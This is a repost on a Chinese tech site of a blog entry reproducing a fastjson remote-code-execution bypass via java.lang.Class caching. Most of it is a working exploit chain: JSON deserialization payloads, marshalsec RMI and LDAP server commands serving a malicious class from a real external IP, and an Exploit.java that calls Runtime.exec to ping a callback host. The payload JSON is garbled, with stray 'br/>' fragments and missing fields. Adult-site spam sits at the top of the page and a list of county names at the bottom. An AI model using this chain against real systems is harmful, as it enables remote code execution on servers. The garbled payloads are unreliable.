中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

fastjson的RCE漏洞復現記錄

發布時間:2020-07-06 12:03:50 來源:網絡 閱讀:1701 作者:wx5b0b88843cb2a 欄目:安全技術

參考鏈接:

https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680

0x01 漏洞復現 RMi

fastjson的RCE漏洞復現記錄

1. payload:

{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}

fastjson的RCE漏洞復現記錄

2. 在×××上執行,啟動一個rmi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"

  1. 生成編譯***腳本

將下面代碼保存為:Exploit.java
然后執行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x02 漏洞復現 LDAP

1. payload:

{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}

fastjson的RCE漏洞復現記錄

2. 在×××上執行,啟動一個rmi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"

  1. 生成編譯***腳本
    Exploit.java 中不要導入包

將下面代碼保存為:Exploit.java
然后執行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x03 漏洞原理

這次繞過的大體思路是通過java.lang.Class,將JdbcRowSetImpl類加載到map緩存,從而繞過autotype的檢測。因此將payload分兩次發送,第一次加載,第二次執行。默認情況下,只要遇到沒有加載到緩存的類,checkautotype就會拋出異常并中止。

當發送第一次請求時,Class是通過deserializers.findClass加載的,然后Class將JdbcRowSetImpl類加載進map中,然后第二次請求時,就這里就成功找到了JdbcRowSetImpl類,從而繞過檢測。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

城口县| 寻乌县| 夹江县| 宁河县| 谢通门县| 环江| 泾源县| 轮台县| 武穴市| 东海县| 麻江县| 泌阳县| 囊谦县| 化德县| 德兴市| 金沙县| 静安区| 孟州市| 衡山县| 昌吉市| 广南县| 阿克陶县| 乌拉特前旗| 思南县| 苗栗市| 中宁县| 呼图壁县| 密山市| 清河县| 定兴县| 应用必备| 武清区| 泸定县| 湘阴县| 桦川县| 宁波市| 布拖县| 综艺| 荣成市| 体育| 衡阳市|